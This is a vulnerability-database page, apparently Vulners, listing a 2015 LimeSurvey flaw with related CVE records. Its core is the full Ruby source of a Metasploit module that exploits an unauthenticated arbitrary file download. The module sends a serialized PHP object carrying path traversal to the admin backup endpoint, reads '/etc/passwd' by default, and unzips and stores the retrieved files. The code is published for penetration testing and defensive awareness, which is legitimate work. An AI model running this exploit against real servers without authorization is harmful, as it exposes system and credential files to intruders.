Limesurvey Unauthenticated File Download
🗓️ 12 Oct 2015 00:00:00Reported by Pichaya Morimoto, Christian Mehlmauer <[email protected]>Type
metasploit🔗 www.rapid7.com👁 50 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2025-34120 | 29 May 201815:50 | – | circl | |
| LimeSurvey 安全漏洞 | 16 Jul 202500:00 | – | cnnvd | |
| CVE-2025-34120 | 16 Jul 202521:05 | – | cve | |
| CVE-2025-34120 LimeSurvey 2.0+ - 2.06+ Unauthenticated Arbitrary File Download via Serialized Backup Payload | 16 Jul 202521:05 | – | cvelist | |
| EUVD-2025-21750 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-34120 | 16 Jul 202521:15 | – | nvd | |
| LimeSurvey 2.05x < 2.06+ Multiple Vulnerabilities | 13 May 201600:00 | – | openvas | |
| PT-2025-29883 · Unknown · Limesurvey | 16 Jul 202500:00 | – | ptsecurity | |
| CVE-2025-34120 | 18 Jul 202521:58 | – | redhatcve | |
| CVE-2025-34120 LimeSurvey 2.0+ - 2.06+ Unauthenticated Arbitrary File Download via Serialized Backup Payload | 16 Jul 202521:05 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# for extracting files
require 'zip'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Limesurvey Unauthenticated File Download',
'Description' => %q{
This module exploits an unauthenticated file download vulnerability
in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded
as a ZIP and unzipped automatically, thus binary files can be downloaded.
},
'Author' => [
'Pichaya Morimoto', # Vulnerability Discovery
'Christian Mehlmauer' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-34120'],
['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-lime-survey/'],
['URL', 'https://www.limesurvey.org/blog/22-security/136-limesurvey-security-advisory-10-2015'],
['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1']
],
'DisclosureDate' => '2015-10-12',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The base path to the limesurvey installation', '/']),
OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15])
]
)
end
def filepath
datastore['FILEPATH']
end
def traversal_depth
datastore['TRAVERSAL_DEPTH']
end
def payload
traversal = '/..' * traversal_depth
file = "#{traversal}#{filepath}"
serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}'
Rex::Text.encode_base64(serialized)
end
def unzip_file(zipfile)
zip_data = Hash.new
begin
Zip::File.open_buffer(zipfile) do |filezip|
filezip.each do |entry|
zip_data[::File.expand_path(entry.name)] = filezip.read(entry)
end
end
rescue Zip::Error => e
print_error("Error extracting ZIP: #{e}")
end
return zip_data
end
def run
csrf_token = Rex::Text.rand_text_alpha(10)
vars_post = {
'YII_CSRF_TOKEN' => csrf_token,
'destinationBuild' => Rex::Text.rand_text_alpha(5),
'datasupdateinfo' => payload
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'index.php', 'admin', 'update', 'sa', 'backup'),
'cookie' => "YII_CSRF_TOKEN=#{csrf_token}",
'vars_post' => vars_post
})
if res && res.code == 200 && res.body && res.body.include?('Download this file')
match = res.body.match(%r{<div class="updater-background">\s+<p class="success " style="text-align: left;">\s+<strong>[^<]+</strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>})
if match
local_path = match[1]
download_url = match[2]
print_status("File saved to #{local_path}")
print_status("Downloading backup from URL #{download_url}")
res = send_request_cgi({
'method' => 'GET',
'uri' => download_url
})
if res && res.code == 200
unzipped = unzip_file(res.body)
unzipped.each do |filename, content|
print_good("Filename: #{filename}")
print_good(content)
path = store_loot(
'limesurvey.http',
'application/octet-stream',
rhost,
content,
filename
)
print_good("File saved in: #{path}")
end
else
print_error('Failed to download file')
end
else
print_error('Failed to download file')
end
else
print_error('Failed to download file')
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Oct 2015 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 48.7
EPSS0.01213
SSVC